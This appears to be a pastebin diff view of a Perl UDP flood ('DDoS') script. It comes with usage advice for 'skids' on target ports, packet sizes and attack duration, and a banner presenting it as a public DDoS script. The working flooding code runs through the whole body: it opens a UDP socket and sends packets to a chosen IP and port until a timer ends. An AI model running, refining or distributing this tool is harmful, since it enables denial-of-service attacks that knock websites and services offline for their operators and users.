View difference between Paste ID: 6Ym2KyF5 and nPa2jPmu
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/perl
2
3
#Created by ~TwentyOne
4
#Reccomendations (For skids): 
5
#IP -   Don't DDoS Government Websites.
6
#Port - Use '80' for HTTP (Most Common) or '53' for DNS or '443' for https.
7
#Size - Use '100 - 1000' (Reccomended).
8
#Time - Depending on the bandwith of your server, use how ever much you want (You can always press Ctrl-C to cancel).
9
 
10
use Socket;
11
use strict;
12
13
print '
14
 /$$$$$$$$                              /$$              /$$$$$$                   
15
|__  $$__/                             | $$             /$$__  $$                  
16
   | $$/$$  /$$  /$$ /$$$$$$ /$$$$$$$ /$$$$$$  /$$   /$| $$  \ $$/$$$$$$$  /$$$$$$ \'s (PUBLIC) DDoS Script ;)
17
   | $| $$ | $$ | $$/$$__  $| $$__  $|_  $$_/ | $$  | $| $$  | $| $$__  $$/$$__  $$
18
   | $| $$ | $$ | $| $$$$$$$| $$  \ $$ | $$   | $$  | $| $$  | $| $$  \ $| $$$$$$$$
19
   | $| $$ | $$ | $| $$_____| $$  | $$ | $$ /$| $$  | $| $$  | $| $$  | $| $$_____/
20
   | $|  $$$$$/$$$$|  $$$$$$| $$  | $$ |  $$$$|  $$$$$$|  $$$$$$| $$  | $|  $$$$$$$
21
   |__/\_____/\___/ \_______|__/  |__/  \___/  \____  $$\______/|__/  |__/\_______/
22
                                               /$$  | $$                           
23
                                              |  $$$$$$/                           
24
                                               \______/         
25
';
26
print "\n";
27
28
 
29
if ($#ARGV != 3) {
30
  print "\n\t\t\t***Error command must recieve four arguements***\n";
31
  print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
32
  print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
33
  exit(1);
34
}
35
36
my ($ip,$port,$size,$time) = @ARGV;
37
my ($iaddr,$endtime,$psize,$pport);
38
$iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
39
$endtime = time() + ($time ? $time : 1000000);
40
socket(flood, PF_INET, SOCK_DGRAM, 17);
41
print "~To cancel the attack press \'Ctrl-C\'\n\n";
42
print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
43
print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
44
print "To cancel the attack press 'Ctrl-C'\n" unless $time;
45
for (;time() <= $endtime;) {
46
  $psize = $size ? $size : int(rand(1500-64)+64) ;
47
  $pport = $port ? $port : int(rand(65500))+1;
48
 
49
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}